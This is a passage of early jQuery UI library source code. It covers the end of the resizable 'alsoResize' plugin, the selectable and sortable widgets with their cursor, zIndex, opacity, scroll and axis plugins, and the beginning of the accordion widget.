                if (o.alsoResize.length) {
                    o.alsoResize = o.alsoResize[0];
                    _store(o.alsoResize);
                } else {
                    $.each(o.alsoResize, function(exp, c) {
                        _store(exp);
                    });
                }
            } else {
                _store(o.alsoResize);
            }
        },
        resize: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                os = self.originalSize,
                op = self.originalPosition;
            var delta = {
                height: (self.size.height - os.height) || 0,
                width: (self.size.width - os.width) || 0,
                top: (self.position.top - op.top) || 0,
                left: (self.position.left - op.left) || 0
            },
                _alsoResize = function(exp, c) {
                    $(exp).each(function() {
                        var start = $(this).data("resizable-alsoresize"),
                            style = {},
                            css = c && c.length ? c : ['width', 'height', 'top', 'left'];
                        $.each(css || ['width', 'height', 'top', 'left'], function(i, prop) {
                            var sum = (start[prop] || 0) + (delta[prop] || 0);
                            if (sum && sum >= 0) style[prop] = sum || null;
                        });
                        $(this).css(style);
                    });
                };
            if (typeof(o.alsoResize) == 'object') {
                $.each(o.alsoResize, function(exp, c) {
                    _alsoResize(exp, c);
                });
            } else {
                _alsoResize(o.alsoResize);
            }
        },
        stop: function(e, ui) {
            $(this).removeData("resizable-alsoresize-start");
        }
    });
})(jQuery);
(function($) {
    $.widget("ui.selectable", $.extend({}, $.ui.mouse, {
        init: function() {
            var self = this;
            this.element.addClass("ui-selectable");
            this.dragged = false;
            var selectees;
            this.refresh = function() {
                selectees = $(self.options.filter, self.element[0]);
                selectees.each(function() {
                    var $this = $(this);
                    var pos = $this.offset();
                    $.data(this, "selectable-item", {
                        element: this,
                        $element: $this,
                        left: pos.left,
                        top: pos.top,
                        right: pos.left + $this.width(),
                        bottom: pos.top + $this.height(),
                        startselected: false,
                        selected: $this.hasClass('ui-selected'),
                        selecting: $this.hasClass('ui-selecting'),
                        unselecting: $this.hasClass('ui-unselecting')
                    });
                });
            };
            this.refresh();
            this.selectees = selectees.addClass("ui-selectee");
            this.mouseInit();
            this.helper = $(document.createElement('div')).css({
                border: '1px dotted black'
            });
        },
        toggle: function() {
            if (this.options.disabled) {
                this.enable();
            } else {
                this.disable();
            }
        },
        destroy: function() {
            this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");
            this.mouseDestroy();
        },
        mouseStart: function(e) {
            var self = this;
            this.opos = [e.pageX, e.pageY];
            if (this.options.disabled) return;
            var options = this.options;
            this.selectees = $(options.filter, this.element[0]);
            this.element.triggerHandler("selectablestart", [e,
            {
                "selectable": this.element[0],
                "options": options
            }], options.start);
            $('body').append(this.helper);
            this.helper.css({
                "z-index": 100,
                "position": "absolute",
                "left": e.clientX,
                "top": e.clientY,
                "width": 0,
                "height": 0
            });
            if (options.autoRefresh) {
                this.refresh();
            }
            this.selectees.filter('.ui-selected').each(function() {
                var selectee = $.data(this, "selectable-item");
                selectee.startselected = true;
                if (!e.ctrlKey) {
                    selectee.$element.removeClass('ui-selected');
                    selectee.selected = false;
                    selectee.$element.addClass('ui-unselecting');
                    selectee.unselecting = true;
                    self.element.triggerHandler("selectableunselecting", [e,
                    {
                        selectable: self.element[0],
                        unselecting: selectee.element,
                        options: options
                    }], options.unselecting);
                }
            });
            var isSelectee = false;
            $(e.target).parents().andSelf().each(function() {
                if ($.data(this, "selectable-item")) isSelectee = true;
            });
            return this.options.keyboard ? !isSelectee : true;
        },
        mouseDrag: function(e) {
            var self = this;
            this.dragged = true;
            if (this.options.disabled) return;
            var options = this.options;
            var x1 = this.opos[0],
                y1 = this.opos[1],
                x2 = e.pageX,
                y2 = e.pageY;
            if (x1 > x2) {
                var tmp = x2;
                x2 = x1;
                x1 = tmp;
            }
            if (y1 > y2) {
                var tmp = y2;
                y2 = y1;
                y1 = tmp;
            }
            this.helper.css({
                left: x1,
                top: y1,
                width: x2 - x1,
                height: y2 - y1
            });
            this.selectees.each(function() {
                var selectee = $.data(this, "selectable-item");
                if (!selectee || selectee.element == self.element[0]) return;
                var hit = false;
                if (options.tolerance == 'touch') {
                    hit = (!(selectee.left > x2 || selectee.right < x1 || selectee.top > y2 || selectee.bottom < y1));
                } else if (options.tolerance == 'fit') {
                    hit = (selectee.left > x1 && selectee.right < x2 && selectee.top > y1 && selectee.bottom < y2);
                }
                if (hit) {
                    if (selectee.selected) {
                        selectee.$element.removeClass('ui-selected');
                        selectee.selected = false;
                    }
                    if (selectee.unselecting) {
                        selectee.$element.removeClass('ui-unselecting');
                        selectee.unselecting = false;
                    }
                    if (!selectee.selecting) {
                        selectee.$element.addClass('ui-selecting');
                        selectee.selecting = true;
                        self.element.triggerHandler("selectableselecting", [e,
                        {
                            selectable: self.element[0],
                            selecting: selectee.element,
                            options: options
                        }], options.selecting);
                    }
                } else {
                    if (selectee.selecting) {
                        if (e.ctrlKey && selectee.startselected) {
                            selectee.$element.removeClass('ui-selecting');
                            selectee.selecting = false;
                            selectee.$element.addClass('ui-selected');
                            selectee.selected = true;
                        } else {
                            selectee.$element.removeClass('ui-selecting');
                            selectee.selecting = false;
                            if (selectee.startselected) {
                                selectee.$element.addClass('ui-unselecting');
                                selectee.unselecting = true;
                            }
                            self.element.triggerHandler("selectableunselecting", [e,
                            {
                                selectable: self.element[0],
                                unselecting: selectee.element,
                                options: options
                            }], options.unselecting);
                        }
                    }
                    if (selectee.selected) {
                        if (!e.ctrlKey && !selectee.startselected) {
                            selectee.$element.removeClass('ui-selected');
                            selectee.selected = false;
                            selectee.$element.addClass('ui-unselecting');
                            selectee.unselecting = true;
                            self.element.triggerHandler("selectableunselecting", [e,
                            {
                                selectable: self.element[0],
                                unselecting: selectee.element,
                                options: options
                            }], options.unselecting);
                        }
                    }
                }
            });
            return false;
        },
        mouseStop: function(e) {
            var self = this;
            this.dragged = false;
            var options = this.options;
            $('.ui-unselecting', this.element[0]).each(function() {
                var selectee = $.data(this, "selectable-item");
                selectee.$element.removeClass('ui-unselecting');
                selectee.unselecting = false;
                selectee.startselected = false;
                self.element.triggerHandler("selectableunselected", [e,
                {
                    selectable: self.element[0],
                    unselected: selectee.element,
                    options: options
                }], options.unselected);
            });
            $('.ui-selecting', this.element[0]).each(function() {
                var selectee = $.data(this, "selectable-item");
                selectee.$element.removeClass('ui-selecting').addClass('ui-selected');
                selectee.selecting = false;
                selectee.selected = true;
                selectee.startselected = true;
                self.element.triggerHandler("selectableselected", [e,
                {
                    selectable: self.element[0],
                    selected: selectee.element,
                    options: options
                }], options.selected);
            });
            this.element.triggerHandler("selectablestop", [e,
            {
                selectable: self.element[0],
                options: this.options
            }], this.options.stop);
            this.helper.remove();
            return false;
        }
    }));
    $.extend($.ui.selectable, {
        defaults: {
            distance: 1,
            delay: 0,
            cancel: ":input",
            appendTo: 'body',
            autoRefresh: true,
            filter: '*',
            tolerance: 'touch'
        }
    });
})(jQuery);
(function($) {
    function contains(a, b) {
        var safari2 = $.browser.safari && $.browser.version < 522;
        if (a.contains && !safari2) {
            return a.contains(b);
        }
        if (a.compareDocumentPosition) return !!(a.compareDocumentPosition(b) & 16);
        while (b = b.parentNode)
        if (b == a) return true;
        return false;
    };
    $.widget("ui.sortable", $.extend({}, $.ui.mouse, {
        init: function() {
            var o = this.options;
            this.containerCache = {};
            this.element.addClass("ui-sortable");
            this.refresh();
            this.floating = this.items.length ? (/left|right/).test(this.items[0].item.css('float')) : false;
            if (!(/(relative|absolute|fixed)/).test(this.element.css('position'))) this.element.css('position', 'relative');
            this.offset = this.element.offset();
            this.mouseInit();
        },
        plugins: {},
        ui: function(inst) {
            return {
                helper: (inst || this)["helper"],
                placeholder: (inst || this)["placeholder"] || $([]),
                position: (inst || this)["position"],
                absolutePosition: (inst || this)["positionAbs"],
                options: this.options,
                element: this.element,
                item: (inst || this)["currentItem"],
                sender: inst ? inst.element : null
            };
        },
        propagate: function(n, e, inst, noPropagation) {
            $.ui.plugin.call(this, n, [e, this.ui(inst)]);
            if (!noPropagation) this.element.triggerHandler(n == "sort" ? n : "sort" + n, [e, this.ui(inst)], this.options[n]);
        },
        serialize: function(o) {
            var items = ($.isFunction(this.options.items) ? this.options.items.call(this.element) : $(this.options.items, this.element)).not('.ui-sortable-helper');
            var str = [];
            o = o || {};
            items.each(function() {
                var res = ($(this).attr(o.attribute || 'id') || '').match(o.expression || (/(.+)[-=_](.+)/));
                if (res) str.push((o.key || res[1]) + '[]=' + (o.key && o.expression ? res[1] : res[2]));
            });
            return str.join('&');
        },
        toArray: function(attr) {
            var items = ($.isFunction(this.options.items) ? this.options.items.call(this.element) : $(this.options.items, this.element)).not('.ui-sortable-helper');
            var ret = [];
            items.each(function() {
                ret.push($(this).attr(attr || 'id'));
            });
            return ret;
        },
        intersectsWith: function(item) {
            var x1 = this.positionAbs.left,
                x2 = x1 + this.helperProportions.width,
                y1 = this.positionAbs.top,
                y2 = y1 + this.helperProportions.height;
            var l = item.left,
                r = l + item.width,
                t = item.top,
                b = t + item.height;
            if (this.options.tolerance == "pointer" || this.options.forcePointerForContainers || (this.options.tolerance == "guess" && this.helperProportions[this.floating ? 'width' : 'height'] > item[this.floating ? 'width' : 'height'])) {
                return (y1 + this.offset.click.top > t && y1 + this.offset.click.top < b && x1 + this.offset.click.left > l && x1 + this.offset.click.left < r);
            } else {
                return (l < x1 + (this.helperProportions.width / 2) && x2 - (this.helperProportions.width / 2) < r && t < y1 + (this.helperProportions.height / 2) && y2 - (this.helperProportions.height / 2) < b);
            }
        },
        intersectsWithEdge: function(item) {
            var x1 = this.positionAbs.left,
                x2 = x1 + this.helperProportions.width,
                y1 = this.positionAbs.top,
                y2 = y1 + this.helperProportions.height;
            var l = item.left,
                r = l + item.width,
                t = item.top,
                b = t + item.height;
            if (this.options.tolerance == "pointer" || (this.options.tolerance == "guess" && this.helperProportions[this.floating ? 'width' : 'height'] > item[this.floating ? 'width' : 'height'])) {
                if (!(y1 + this.offset.click.top > t && y1 + this.offset.click.top < b && x1 + this.offset.click.left > l && x1 + this.offset.click.left < r)) return false;
                if (this.floating) {
                    if (x1 + this.offset.click.left > l && x1 + this.offset.click.left < l + item.width / 2) return 2;
                    if (x1 + this.offset.click.left > l + item.width / 2 && x1 + this.offset.click.left < r) return 1;
                } else {
                    if (y1 + this.offset.click.top > t && y1 + this.offset.click.top < t + item.height / 2) return 2;
                    if (y1 + this.offset.click.top > t + item.height / 2 && y1 + this.offset.click.top < b) return 1;
                }
            } else {
                if (!(l < x1 + (this.helperProportions.width / 2) && x2 - (this.helperProportions.width / 2) < r && t < y1 + (this.helperProportions.height / 2) && y2 - (this.helperProportions.height / 2) < b)) return false;
                if (this.floating) {
                    if (x2 > l && x1 < l) return 2;
                    if (x1 < r && x2 > r) return 1;
                } else {
                    if (y2 > t && y1 < t) return 1;
                    if (y1 < b && y2 > b) return 2;
                }
            }
            return false;
        },
        refresh: function() {
            this.refreshItems();
            this.refreshPositions();
        },
        refreshItems: function() {
            this.items = [];
            this.containers = [this];
            var items = this.items;
            var self = this;
            var queries = [
                [$.isFunction(this.options.items) ? this.options.items.call(this.element, null, {
                    options: this.options,
                    item: this.currentItem
                }) : $(this.options.items, this.element), this]
            ];
            if (this.options.connectWith) {
                for (var i = this.options.connectWith.length - 1; i >= 0; i--) {
                    var cur = $(this.options.connectWith[i]);
                    for (var j = cur.length - 1; j >= 0; j--) {
                        var inst = $.data(cur[j], 'sortable');
                        if (inst && !inst.options.disabled) {
                            queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element) : $(inst.options.items, inst.element), inst]);
                            this.containers.push(inst);
                        }
                    };
                };
            }
            for (var i = queries.length - 1; i >= 0; i--) {
                queries[i][0].each(function() {
                    $.data(this, 'sortable-item', queries[i][1]);
                    items.push({
                        item: $(this),
                        instance: queries[i][1],
                        width: 0,
                        height: 0,
                        left: 0,
                        top: 0
                    });
                });
            };
        },
        refreshPositions: function(fast) {
            if (this.offsetParent) {
                var po = this.offsetParent.offset();
                this.offset.parent = {
                    top: po.top + this.offsetParentBorders.top,
                    left: po.left + this.offsetParentBorders.left
                };
            }
            for (var i = this.items.length - 1; i >= 0; i--) {
                if (this.items[i].instance != this.currentContainer && this.currentContainer && this.items[i].item[0] != this.currentItem[0]) continue;
                var t = this.options.toleranceElement ? $(this.options.toleranceElement, this.items[i].item) : this.items[i].item;
                if (!fast) {
                    this.items[i].width = t[0].offsetWidth;
                    this.items[i].height = t[0].offsetHeight;
                }
                var p = t.offset();
                this.items[i].left = p.left;
                this.items[i].top = p.top;
            };
            if (this.options.custom && this.options.custom.refreshContainers) {
                this.options.custom.refreshContainers.call(this);
            } else {
                for (var i = this.containers.length - 1; i >= 0; i--) {
                    var p = this.containers[i].element.offset();
                    this.containers[i].containerCache.left = p.left;
                    this.containers[i].containerCache.top = p.top;
                    this.containers[i].containerCache.width = this.containers[i].element.outerWidth();
                    this.containers[i].containerCache.height = this.containers[i].element.outerHeight();
                };
            }
        },
        destroy: function() {
            this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");
            this.mouseDestroy();
            for (var i = this.items.length - 1; i >= 0; i--)
            this.items[i].item.removeData("sortable-item");
        },
        createPlaceholder: function(that) {
            var self = that || this,
                o = self.options;
            if (o.placeholder.constructor == String) {
                var className = o.placeholder;
                o.placeholder = {
                    element: function() {
                        return $('<div></div>').addClass(className)[0];
                    },
                    update: function(i, p) {
                        p.css(i.offset()).css({
                            width: i.outerWidth(),
                            height: i.outerHeight()
                        });
                    }
                };
            }
            self.placeholder = $(o.placeholder.element.call(self.element, self.currentItem)).appendTo('body').css({
                position: 'absolute'
            });
            o.placeholder.update.call(self.element, self.currentItem, self.placeholder);
        },
        contactContainers: function(e) {
            for (var i = this.containers.length - 1; i >= 0; i--) {
                if (this.intersectsWith(this.containers[i].containerCache)) {
                    if (!this.containers[i].containerCache.over) {
                        if (this.currentContainer != this.containers[i]) {
                            var dist = 10000;
                            var itemWithLeastDistance = null;
                            var base = this.positionAbs[this.containers[i].floating ? 'left' : 'top'];
                            for (var j = this.items.length - 1; j >= 0; j--) {
                                if (!contains(this.containers[i].element[0], this.items[j].item[0])) continue;
                                var cur = this.items[j][this.containers[i].floating ? 'left' : 'top'];
                                if (Math.abs(cur - base) < dist) {
                                    dist = Math.abs(cur - base);
                                    itemWithLeastDistance = this.items[j];
                                }
                            }
                            if (!itemWithLeastDistance && !this.options.dropOnEmpty) continue;
                            if (this.placeholder) this.placeholder.remove();
                            if (this.containers[i].options.placeholder) {
                                this.containers[i].createPlaceholder(this);
                            } else {
                                this.placeholder = null;;
                            }
                            this.currentContainer = this.containers[i];
                            itemWithLeastDistance ? this.rearrange(e, itemWithLeastDistance, null, true) : this.rearrange(e, null, this.containers[i].element, true);
                            this.propagate("change", e);
                            this.containers[i].propagate("change", e, this);
                        }
                        this.containers[i].propagate("over", e, this);
                        this.containers[i].containerCache.over = 1;
                    }
                } else {
                    if (this.containers[i].containerCache.over) {
                        this.containers[i].propagate("out", e, this);
                        this.containers[i].containerCache.over = 0;
                    }
                }
            };
        },
        mouseCapture: function(e, overrideHandle) {
            if (this.options.disabled || this.options.type == 'static') return false;
            this.refreshItems();
            var currentItem = null,
                self = this,
                nodes = $(e.target).parents().each(function() {
                    if ($.data(this, 'sortable-item') == self) {
                        currentItem = $(this);
                        return false;
                    }
                });
            if ($.data(e.target, 'sortable-item') == self) currentItem = $(e.target);
            if (!currentItem) return false;
            if (this.options.handle && !overrideHandle) {
                var validHandle = false;
                $(this.options.handle, currentItem).find("*").andSelf().each(function() {
                    if (this == e.target) validHandle = true;
                });
                if (!validHandle) return false;
            }
            this.currentItem = currentItem;
            return true;
        },
        mouseStart: function(e, overrideHandle, noActivation) {
            var o = this.options;
            this.currentContainer = this;
            this.refreshPositions();
            this.helper = typeof o.helper == 'function' ? $(o.helper.apply(this.element[0], [e, this.currentItem])) : this.currentItem.clone();
            if (!this.helper.parents('body').length) $(o.appendTo != 'parent' ? o.appendTo : this.currentItem[0].parentNode)[0].appendChild(this.helper[0]);
            this.helper.css({
                position: 'absolute',
                clear: 'both'
            }).addClass('ui-sortable-helper');
            this.margins = {
                left: (parseInt(this.currentItem.css("marginLeft"), 10) || 0),
                top: (parseInt(this.currentItem.css("marginTop"), 10) || 0)
            };
            this.offset = this.currentItem.offset();
            this.offset = {
                top: this.offset.top - this.margins.top,
                left: this.offset.left - this.margins.left
            };
            this.offset.click = {
                left: e.pageX - this.offset.left,
                top: e.pageY - this.offset.top
            };
            this.offsetParent = this.helper.offsetParent();
            var po = this.offsetParent.offset();
            this.offsetParentBorders = {
                top: (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
                left: (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
            };
            this.offset.parent = {
                top: po.top + this.offsetParentBorders.top,
                left: po.left + this.offsetParentBorders.left
            };
            this.originalPosition = this.generatePosition(e);
            this.domPosition = {
                prev: this.currentItem.prev()[0],
                parent: this.currentItem.parent()[0]
            };
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            };
            if (o.placeholder) this.createPlaceholder();
            this.propagate("start", e);
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            };
            if (o.cursorAt) {
                if (o.cursorAt.left != undefined) this.offset.click.left = o.cursorAt.left;
                if (o.cursorAt.right != undefined) this.offset.click.left = this.helperProportions.width - o.cursorAt.right;
                if (o.cursorAt.top != undefined) this.offset.click.top = o.cursorAt.top;
                if (o.cursorAt.bottom != undefined) this.offset.click.top = this.helperProportions.height - o.cursorAt.bottom;
            }
            if (o.containment) {
                if (o.containment == 'parent') o.containment = this.helper[0].parentNode;
                if (o.containment == 'document' || o.containment == 'window') this.containment = [0 - this.offset.parent.left, 0 - this.offset.parent.top, $(o.containment == 'document' ? document : window).width() - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
                if (!(/^(document|window|parent)$/).test(o.containment)) {
                    var ce = $(o.containment)[0];
                    var co = $(o.containment).offset();
                    this.containment = [co.left + (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.parent.left, co.top + (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.parent.top, co.left + Math.max(ce.scrollWidth, ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.currentItem.css("marginRight"), 10) || 0), co.top + Math.max(ce.scrollHeight, ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.currentItem.css("marginBottom"), 10) || 0)];
                }
            }
            if (this.options.placeholder != 'clone') this.currentItem.css('visibility', 'hidden');
            if (!noActivation) {
                for (var i = this.containers.length - 1; i >= 0; i--) {
                    this.containers[i].propagate("activate", e, this);
                }
            }
            if ($.ui.ddmanager) $.ui.ddmanager.current = this;
            if ($.ui.ddmanager && !o.dropBehaviour) $.ui.ddmanager.prepareOffsets(this, e);
            this.dragging = true;
            this.mouseDrag(e);
            return true;
        },
        convertPositionTo: function(d, pos) {
            if (!pos) pos = this.position;
            var mod = d == "absolute" ? 1 : -1;
            return {
                top: (pos.top + this.offset.parent.top * mod - (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop) * mod + this.margins.top * mod),
                left: (pos.left + this.offset.parent.left * mod - (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft) * mod + this.margins.left * mod)
            };
        },
        generatePosition: function(e) {
            var o = this.options;
            var position = {
                top: (e.pageY - this.offset.click.top - this.offset.parent.top + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop)),
                left: (e.pageX - this.offset.click.left - this.offset.parent.left + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft))
            };
            if (!this.originalPosition) return position;
            if (this.containment) {
                if (position.left < this.containment[0]) position.left = this.containment[0];
                if (position.top < this.containment[1]) position.top = this.containment[1];
                if (position.left > this.containment[2]) position.left = this.containment[2];
                if (position.top > this.containment[3]) position.top = this.containment[3];
            }
            if (o.grid) {
                var top = this.originalPosition.top + Math.round((position.top - this.originalPosition.top) / o.grid[1]) * o.grid[1];
                position.top = this.containment ? (!(top < this.containment[1] || top > this.containment[3]) ? top : (!(top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
                var left = this.originalPosition.left + Math.round((position.left - this.originalPosition.left) / o.grid[0]) * o.grid[0];
                position.left = this.containment ? (!(left < this.containment[0] || left > this.containment[2]) ? left : (!(left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
            }
            return position;
        },
        mouseDrag: function(e) {
            this.position = this.generatePosition(e);
            this.positionAbs = this.convertPositionTo("absolute");
            $.ui.plugin.call(this, "sort", [e, this.ui()]);
            this.positionAbs = this.convertPositionTo("absolute");
            this.helper[0].style.left = this.position.left + 'px';
            this.helper[0].style.top = this.position.top + 'px';
            for (var i = this.items.length - 1; i >= 0; i--) {
                var intersection = this.intersectsWithEdge(this.items[i]);
                if (!intersection) continue;
                if (this.items[i].item[0] != this.currentItem[0] && this.currentItem[intersection == 1 ? "next" : "prev"]()[0] != this.items[i].item[0] && !contains(this.currentItem[0], this.items[i].item[0]) && (this.options.type == 'semi-dynamic' ? !contains(this.element[0], this.items[i].item[0]) : true)) {
                    this.direction = intersection == 1 ? "down" : "up";
                    this.rearrange(e, this.items[i]);
                    this.propagate("change", e);
                    break;
                }
            }
            this.contactContainers(e);
            if ($.ui.ddmanager) $.ui.ddmanager.drag(this, e);
            this.element.triggerHandler("sort", [e, this.ui()], this.options["sort"]);
            return false;
        },
        rearrange: function(e, i, a, hardRefresh) {
            a ? a[0].appendChild(this.currentItem[0]) : i.item[0].parentNode.insertBefore(this.currentItem[0], (this.direction == 'down' ? i.item[0] : i.item[0].nextSibling));
            this.counter = this.counter ? ++this.counter : 1;
            var self = this,
                counter = this.counter;
            window.setTimeout(function() {
                if (counter == self.counter) self.refreshPositions(!hardRefresh);
            }, 0);
            if (this.options.placeholder) this.options.placeholder.update.call(this.element, this.currentItem, this.placeholder);
        },
        mouseStop: function(e, noPropagation) {
            if ($.ui.ddmanager && !this.options.dropBehaviour) $.ui.ddmanager.drop(this, e);
            if (this.options.revert) {
                var self = this;
                var cur = self.currentItem.offset();
                if (self.placeholder) self.placeholder.animate({
                    opacity: 'hide'
                }, (parseInt(this.options.revert, 10) || 500) - 50);
                $(this.helper).animate({
                    left: cur.left - this.offset.parent.left - self.margins.left + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollLeft),
                    top: cur.top - this.offset.parent.top - self.margins.top + (this.offsetParent[0] == document.body ? 0 : this.offsetParent[0].scrollTop)
                }, parseInt(this.options.revert, 10) || 500, function() {
                    self.clear(e);
                });
            } else {
                this.clear(e, noPropagation);
            }
            return false;
        },
        clear: function(e, noPropagation) {
            if (this.domPosition.prev != this.currentItem.prev().not(".ui-sortable-helper")[0] || this.domPosition.parent != this.currentItem.parent()[0]) this.propagate("update", e, null, noPropagation);
            if (!contains(this.element[0], this.currentItem[0])) {
                this.propagate("remove", e, null, noPropagation);
                for (var i = this.containers.length - 1; i >= 0; i--) {
                    if (contains(this.containers[i].element[0], this.currentItem[0])) {
                        this.containers[i].propagate("update", e, this, noPropagation);
                        this.containers[i].propagate("receive", e, this, noPropagation);
                    }
                };
            };
            for (var i = this.containers.length - 1; i >= 0; i--) {
                this.containers[i].propagate("deactivate", e, this, noPropagation);
                if (this.containers[i].containerCache.over) {
                    this.containers[i].propagate("out", e, this);
                    this.containers[i].containerCache.over = 0;
                }
            }
            this.dragging = false;
            if (this.cancelHelperRemoval) {
                this.propagate("stop", e, null, noPropagation);
                return false;
            }
            $(this.currentItem).css('visibility', '');
            if (this.placeholder) this.placeholder.remove();
            this.helper.remove();
            this.helper = null;
            this.propagate("stop", e, null, noPropagation);
            return true;
        }
    }));
    $.extend($.ui.sortable, {
        getter: "serialize toArray",
        defaults: {
            helper: "clone",
            tolerance: "guess",
            distance: 1,
            delay: 0,
            scroll: true,
            scrollSensitivity: 20,
            scrollSpeed: 20,
            cancel: ":input",
            items: '> *',
            zIndex: 1000,
            dropOnEmpty: true,
            appendTo: "parent"
        }
    });
    $.ui.plugin.add("sortable", "cursor", {
        start: function(e, ui) {
            var t = $('body');
            if (t.css("cursor")) ui.options._cursor = t.css("cursor");
            t.css("cursor", ui.options.cursor);
        },
        stop: function(e, ui) {
            if (ui.options._cursor) $('body').css("cursor", ui.options._cursor);
        }
    });
    $.ui.plugin.add("sortable", "zIndex", {
        start: function(e, ui) {
            var t = ui.helper;
            if (t.css("zIndex")) ui.options._zIndex = t.css("zIndex");
            t.css('zIndex', ui.options.zIndex);
        },
        stop: function(e, ui) {
            if (ui.options._zIndex) $(ui.helper).css('zIndex', ui.options._zIndex);
        }
    });
    $.ui.plugin.add("sortable", "opacity", {
        start: function(e, ui) {
            var t = ui.helper;
            if (t.css("opacity")) ui.options._opacity = t.css("opacity");
            t.css('opacity', ui.options.opacity);
        },
        stop: function(e, ui) {
            if (ui.options._opacity) $(ui.helper).css('opacity', ui.options._opacity);
        }
    });
    $.ui.plugin.add("sortable", "scroll", {
        start: function(e, ui) {
            var o = ui.options;
            var i = $(this).data("sortable");
            i.overflowY = function(el) {
                do {
                    if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el;
                    el = el.parent();
                } while (el[0].parentNode);
                return $(document);
            }(i.currentItem);
            i.overflowX = function(el) {
                do {
                    if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el;
                    el = el.parent();
                } while (el[0].parentNode);
                return $(document);
            }(i.currentItem);
            if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') i.overflowYOffset = i.overflowY.offset();
            if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') i.overflowXOffset = i.overflowX.offset();
        },
        sort: function(e, ui) {
            var o = ui.options;
            var i = $(this).data("sortable");
            if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') {
                if ((i.overflowYOffset.top + i.overflowY[0].offsetHeight) - e.pageY < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop + o.scrollSpeed;
                if (e.pageY - i.overflowYOffset.top < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop - o.scrollSpeed;
            } else {
                if (e.pageY - $(document).scrollTop() < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
                if ($(window).height() - (e.pageY - $(document).scrollTop()) < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
            }
            if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') {
                if ((i.overflowXOffset.left + i.overflowX[0].offsetWidth) - e.pageX < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft + o.scrollSpeed;
                if (e.pageX - i.overflowXOffset.left < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft - o.scrollSpeed;
            } else {
                if (e.pageX - $(document).scrollLeft() < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
                if ($(window).width() - (e.pageX - $(document).scrollLeft()) < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
            }
        }
    });
    $.ui.plugin.add("sortable", "axis", {
        sort: function(e, ui) {
            var i = $(this).data("sortable");
            if (ui.options.axis == "y") i.position.left = i.originalPosition.left;
            if (ui.options.axis == "x") i.position.top = i.originalPosition.top;
        }
    });
})(jQuery);
(function($) {
    $.widget("ui.accordion", {
        init: function() {
            var options = this.options;
            if (options.navigation) {
                var current = this.element.find("a").filter(options.navigationFilter);
                if (current.length) {
                    if (current.filter(options.header).length) {
                        options.active = current;
                    } else {
                        options.active = current.parent().parent().prev();
                        current.addClass("current");
                    }
                }
            }
            options.headers = this.element.find(options.header);
            options.active = findActive(options.headers, options.active);
            if ($.browser.msie) {
                this.element.find('a').css('zoom', '1');
            }
            if (!this.element.hasClass("ui-accordion")) {
                this.element.addClass("ui-accordion");
                $("<span class='ui-accordion-left'/>").insertBefore(options.headers);
                $("<span class='ui-accordion-right'/>").appendTo(options.headers);
                options.headers.addClass("ui-accordion-header").attr("tabindex", "0");
            }
            var maxHeight;
            if (options.fillSpace) {
                maxHeight = this.element.parent().height();
                options.headers.each(function() {
                    maxHeight -= $(this).outerHeight();
                });
                var maxPadding = 0;
                options.headers.next().each(function() {
                    maxPadding = Math.max(maxPadding, $(this).innerHeight() - $(this).height());
                }).height(maxHeight - maxPadding);
            } else if (options.autoHeight) {
                maxHeight = 0;
                options.headers.next().each(function() {
                    maxHeight = Math.max(maxHeight, $(this).outerHeight());
                }).height(maxHeight);
            }
            options.headers.not(options.active || "").next().hide();
            options.active.parent().andSelf().addClass(options.selectedClass);
            if (options.event) {
                this.element.bind((options.event) + ".accordion", clickHandler);
            }
        },
        activate: function(index) {
            clickHandler.call(this.element[0], {
                target: findActive(this.options.headers, index)[0]
            });
        },
        destroy: function() {
            this.options.headers.next().css("display", "");
            if (this.options.fillSpace || this.options.autoHeight) {
                this.options.headers.next().css("height", "");
            }
            $.removeData(this.element[0], "accordion");
            this.element.removeClass("ui-accordion").unbind(".accordion");
        }
    });

    function scopeCallback(callback, scope) {
        return function() {
            return callback.apply(scope, arguments);
        };
    };

    function completed(cancel) {
        if (!$.data(this, "accordion")) {
            return;
        }
        var instance = $.data(this, "accordion");
        var options = instance.options;
